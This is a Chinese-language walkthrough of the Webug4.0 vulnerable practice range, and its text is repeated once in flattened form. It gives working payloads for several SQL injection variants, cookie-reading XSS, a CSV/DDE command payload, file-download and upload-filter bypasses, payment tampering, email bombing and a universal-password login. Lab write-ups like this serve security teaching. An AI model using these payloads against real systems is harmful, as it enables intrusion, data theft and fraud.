Webug4.0靶场通关
字数 3132 2025-08-11 17:40:12

Webug4.0靶场通关全面教学指南

1. SQL注入攻击技术详解

1.1 显错注入

注入点识别:

control/sqlinject/manifest_error.php?id=1

注入类型判断:

  • 输入 and 1=1and 1=2 都正常 → 排除数字型
  • 输入单引号 ' 网页变化 → 字符型注入
  • 使用 ' -- q 注释后页面正常 → 确认字符型注入

攻击步骤:

  1. 判断字段数: ' order by 3-- q (错误) vs ' order by 2-- q (正常) → 字段数为2
  2. 查找回显点: ' union select 1,2 -- q → 2为回显点
  3. 查询当前数据库: ' union select 1,database() -- q → webug
  4. 查询所有数据库: ' union select 1,group_concat(schema_name) from information_schema.schemata -- q
  5. 查询webug数据库中的表: ' union select 1,group_concat(table_name) from information_schema.tables where table_schema='webug' -- q
  6. 查看flag表结构: ' union select 1,group_concat(column_name) from information_schema.columns where table_schema='webug' and table_name='flag'-- q
  7. 获取flag: ' union select 1,group_concat(flag) from flag-- q

1.2 布尔盲注

基本判断:

  • 使用 '' -- q 确认字符型注入

攻击步骤:

  1. 判断数据库长度: id=1' and length(database())=5--+
  2. 爆破数据库名: id=1' and ascii(substr(database(),1,1))=119 --+ (w=119)
  3. 判断表数量: id=1' and (select count(*) from information_schema.tables where table_schema=database())=7--+
  4. 爆破表名长度: id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8--+
  5. 爆破表名: id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101--+ (e=101)
  6. 爆破字段名: id=1' and ascii(substr((select column_name from information_schema.columns where table_name='env_list' limit 5,1),1,1))=101--+
  7. 获取flag: id=1' and ascii(substr((select envFlag from env_list limit 1,1),1,1))=102--+ (f=102)

1.3 延时注入

基本原理:

  • 使用 if(条件,sleep(3),1) 构造延时判断

攻击示例:

  1. 基本测试: 1' and sleep(3)--+
  2. 判断数据库长度: 1' and if(length(database())=5,sleep(3),1)--+
  3. 爆破数据库名: 1' and if(ascii(substr(database(),1,1))=119,sleep(3),1)--+
  4. 爆破表名: 1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101,sleep(3),1)--+
  5. 获取flag: 1' and if(ascii(substr((select envFlag from env_list limit 2,1),1,1))=103,sleep(3),1)--+

1.4 POST注入

攻击方法:

  • 搜索框构造payload: 1' or sleep(3)--+
  • 后续操作与GET注入类似,将and改为or

1.5 宽字节注入

攻击步骤:

  1. 测试注入: id=1%df%27 (报错) vs id=1%df%27--+ (正常)
  2. 判断字段数: id=1%df%27 order by 2--+
  3. 获取数据库信息: id=1%df%27 and 1=2 union select 1,concat(schema_name,0x7e) from information_schema.schemata--+
  4. 获取表信息: id=1%df%27 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7765627567--+
  5. 获取flag: id=1%df%27 and 1=2 union select 1,envFlag from webug.env_list limit 5,1--+

2. XXE注入

攻击方法:

<?xml version="1.0"?>
<helo>
  <batch id="test">
    <title>xxe</title>
    <test>xxe test</test>
  </batch>
</helo>
  • 当输入内容被显示时,说明XML被解析执行

3. CSV注入

原理:

  • Excel会自动执行CSV中的公式
  • 利用DDE(动态数据交换)机制执行命令

攻击payload:

=cmd|' /C calc'!A0
  • 输入后回车,点击提示中的"是",会弹出计算器

4. XSS攻击

4.1 反射型XSS

payload:

id=1<script>alert(document.cookie)</script>

4.2 存储型XSS

  • 在留言框输入:
<script>alert(document.cookie)</script>

4.3 DOM型XSS

payload:

"required=" "><script>alert(document.cookie)</script><name="

4.4 过滤XSS绕过

  • <script>被过滤时:

5. 链接注入

攻击方法:

id=<a href="http://baidu.com">baidu</a>
  • 将外部链接嵌入易受攻击的站点

6. 文件相关漏洞

6.1 任意文件下载

payload:

file=template/assets/img/1.txt
file=index.php

6.2 MySQL配置文件下载

file=../mysql/
file=../mysql/my.ini

6.3 文件上传漏洞

前端拦截绕过:

  1. 将php文件改为png后缀
  2. Burp抓包改回php后缀

畸形文件绕过:

  1. 命名文件为phpinfo.png
  2. Burp抓包改为.pphphp

7. 支付漏洞

攻击方法:

  1. 拦截购买请求
  2. 修改金额参数: 100 → 0.01

8. 邮箱轰炸

攻击方法:

  1. 输入邮箱并抓包
  2. 发送到Burp Intruder
  3. 设置Null payload和发送次数(如20次)

9. URL跳转

payload:

url=https://www.baidu.com
url=https://www.bilibili.com

10. 文件包含漏洞

payload:

filename=../../control/upload_file/upload_file_3.php

11. 万能密码登录

payload:

  • 用户名: admin
  • 密码: ' or '1'='1

本教学文档详细涵盖了Webug4.0靶场中的所有漏洞类型和攻击方法,按照漏洞分类组织,每部分都包含具体的攻击步骤和payload示例。重点突出了SQL注入的各种变体(XSS、文件操作等关键Web安全漏洞,可作为全面的渗透测试参考指南。

Webug4.0靶场通关全面教学指南 1. SQL注入攻击技术详解 1.1 显错注入 注入点识别 : 注入类型判断 : 输入 and 1=1 和 and 1=2 都正常 → 排除数字型 输入单引号 ' 网页变化 → 字符型注入 使用 ' -- q 注释后页面正常 → 确认字符型注入 攻击步骤 : 判断字段数: ' order by 3-- q (错误) vs ' order by 2-- q (正常) → 字段数为2 查找回显点: ' union select 1,2 -- q → 2为回显点 查询当前数据库: ' union select 1,database() -- q → webug 查询所有数据库: ' union select 1,group_concat(schema_name) from information_schema.schemata -- q 查询webug数据库中的表: ' union select 1,group_concat(table_name) from information_schema.tables where table_schema='webug' -- q 查看flag表结构: ' union select 1,group_concat(column_name) from information_schema.columns where table_schema='webug' and table_name='flag'-- q 获取flag: ' union select 1,group_concat(flag) from flag-- q 1.2 布尔盲注 基本判断 : 使用 ' 和 ' -- q 确认字符型注入 攻击步骤 : 判断数据库长度: id=1' and length(database())=5--+ 爆破数据库名: id=1' and ascii(substr(database(),1,1))=119 --+ (w=119) 判断表数量: id=1' and (select count(*) from information_schema.tables where table_schema=database())=7--+ 爆破表名长度: id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8--+ 爆破表名: id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101--+ (e=101) 爆破字段名: id=1' and ascii(substr((select column_name from information_schema.columns where table_name='env_list' limit 5,1),1,1))=101--+ 获取flag: id=1' and ascii(substr((select envFlag from env_list limit 1,1),1,1))=102--+ (f=102) 1.3 延时注入 基本原理 : 使用 if(条件,sleep(3),1) 构造延时判断 攻击示例 : 基本测试: 1' and sleep(3)--+ 判断数据库长度: 1' and if(length(database())=5,sleep(3),1)--+ 爆破数据库名: 1' and if(ascii(substr(database(),1,1))=119,sleep(3),1)--+ 爆破表名: 1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101,sleep(3),1)--+ 获取flag: 1' and if(ascii(substr((select envFlag from env_list limit 2,1),1,1))=103,sleep(3),1)--+ 1.4 POST注入 攻击方法 : 搜索框构造payload: 1' or sleep(3)--+ 后续操作与GET注入类似,将 and 改为 or 1.5 宽字节注入 攻击步骤 : 测试注入: id=1%df%27 (报错) vs id=1%df%27--+ (正常) 判断字段数: id=1%df%27 order by 2--+ 获取数据库信息: id=1%df%27 and 1=2 union select 1,concat(schema_name,0x7e) from information_schema.schemata--+ 获取表信息: id=1%df%27 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7765627567--+ 获取flag: id=1%df%27 and 1=2 union select 1,envFlag from webug.env_list limit 5,1--+ 2. XXE注入 攻击方法 : 当输入内容被显示时,说明XML被解析执行 3. CSV注入 原理 : Excel会自动执行CSV中的公式 利用DDE(动态数据交换)机制执行命令 攻击payload : 输入后回车,点击提示中的"是",会弹出计算器 4. XSS攻击 4.1 反射型XSS payload : 4.2 存储型XSS 在留言框输入: 4.3 DOM型XSS payload : 4.4 过滤XSS绕过 当 <script> 被过滤时: 5. 链接注入 攻击方法 : 将外部链接嵌入易受攻击的站点 6. 文件相关漏洞 6.1 任意文件下载 payload : 6.2 MySQL配置文件下载 6.3 文件上传漏洞 前端拦截绕过 : 将php文件改为png后缀 Burp抓包改回php后缀 畸形文件绕过 : 命名文件为phpinfo.png Burp抓包改为.pphphp 7. 支付漏洞 攻击方法 : 拦截购买请求 修改金额参数: 100 → 0.01 8. 邮箱轰炸 攻击方法 : 输入邮箱并抓包 发送到Burp Intruder 设置Null payload和发送次数(如20次) 9. URL跳转 payload : 10. 文件包含漏洞 payload : 11. 万能密码登录 payload : 用户名: admin 密码: ' or '1'='1 本教学文档详细涵盖了Webug4.0靶场中的所有漏洞类型和攻击方法,按照漏洞分类组织,每部分都包含具体的攻击步骤和payload示例。重点突出了SQL注入的各种变体(XSS、文件操作等关键Web安全漏洞,可作为全面的渗透测试参考指南。